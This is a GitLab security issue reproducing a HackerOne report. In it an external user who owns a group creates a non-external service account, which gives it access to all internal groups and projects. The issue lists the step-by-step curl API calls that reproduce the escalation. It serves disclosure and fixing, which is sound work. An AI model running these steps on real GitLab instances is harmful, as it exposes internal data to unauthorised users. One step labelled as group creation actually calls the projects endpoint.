Privilege escalation of "external user" to internal access through group service account
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #2040834](https://hackerone.com/reports/2040834)** by `joaxcar` on 2023-06-27, assigned to @kmorrison1: [Report](#report) | [How To Reproduce](#how-to-reproduce) ## Report #### Summary The new `service account` feature is subject to an similar issue as reported for project access tokens previously. If a user that has the status of `external` is given an owner role to any group or subgroup, the `external` user can escalate its privilege on the instance by creating a `service account` in that group. The `service account` will not be `external` and can thus be used to access all `internal` projects. The old report regarding project access tokens is here https://hackerone.com/reports/1193062 It might sound odd to give an `external` user owner rights, but there is nothing suggesting against it in the documentation. #### Steps to reproduce Test on a self hosted server Steps to reproduce: 1. Log in as an administrator 2. Go to https://gitlab.domain.com/-/profile/personal_access_tokens and create an access token for the admin 3. Start up a terminal and create these two variables to be used in subsequent commands (replace url and <ADMIN_TOKEN>) ``` server_url='https://gitlab.domain.com' admin_token='<ADMIN_TOKEN>' ``` 4. Use the admin token to create an external user and make a note of the created users ID ``` curl --request POST --header "PRIVATE-TOKEN: $admin_token" \ --data "name=External User" \ --data "username=external_user_01" \ --data "external=true" \ --data "skip_confirmation=true" \ --data "password=Safepass001" \ --data "email=external_user@example.com" \ "$server_url/api/v4/users" ``` 5. Add a shell variable for external_user (replace ID) ``` external_user='<ID>' ``` 6. Use the admin token to generate an access token for the external user ``` curl --request POST --header "PRIVATE-TOKEN: $admin_token" \ --data "name=external_token" \ --data "scopes[]=api" \ "$server_url/api/v4/users/$external_user/personal_access_tokens" ``` 7. Add a shell variable for external_token (replace <EXTERNAL_TOKEN>) ``` external_token='<EXTERNAL_TOKEN>' ``` 8. Create our first internal group and take a note of the group ID ``` curl --request POST --header "PRIVATE-TOKEN: $admin_token" \ --data "name=internal1" \ --data "visibility=internal" \ "$server_url/api/v4/groups" ``` 9. Create our second internal group and take a note of the group ID ``` curl --request POST --header "PRIVATE-TOKEN: $admin_token" \ --data "name=internal2" \ --data "visibility=internal" \ "$server_url/api/v4/projects" ``` 10. Add shell variables for group 1 and 2 (replace <ID1> and <ID2>) ``` group_1='<ID1>' group_2='<ID2>' ``` 11. Add the external user as owner to internal1 ``` curl --request POST --header "PRIVATE-TOKEN: $admin_token" \ --data "user_id=$external_user&access_level=50" \ "$server_url/api/v4/groups/$group_1/members" ``` 12. Request a list of internal groups using the external accounts access token. Verify that only groups 1 is returned. ``` curl --request GET --header "PRIVATE-TOKEN: $external_token" \ "$server_url/api/v4/groups?visibility=internal" ``` 13. Use external users access token to generate a service account, take a note of the account ID ``` curl --request POST --header "PRIVATE-TOKEN: $external_token" "$server_url/api/v4/groups/$group_1/service_accounts" ``` and add variable ``` service_id=<service account id> ``` 14. Now run this command to create a token for the service account ``` curl --request POST --header "PRIVATE-TOKEN: $external_token" "$server_url/api/v4/groups/$group_1/service_accounts/$service_id/personal_access_tokens" --data "scopes[]=api" --data "name=service_accounts_token" ``` 15. Add a shell variable for project access token (replace <SERVICE_TOKEN>) ``` service_token='<SERVICE_TOKEN>' ``` 15. Request a list of internal groups using the generated service account token. Verify that all internal groups are now visible. ``` curl --request GET --header "PRIVATE-TOKEN: $service_token" \ "$server_url/api/v4/groups?visibility=internal" ``` #### How does it work today External users (that owns a group) can create internal service accounts #### How it should work Service accounts created by external users should be made external #### Impact An external user can access all internal projects and groups. Thus leading to high information disclosure and ability to interact by issues. As the internal service account also have write access it can also interact with the internal content ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue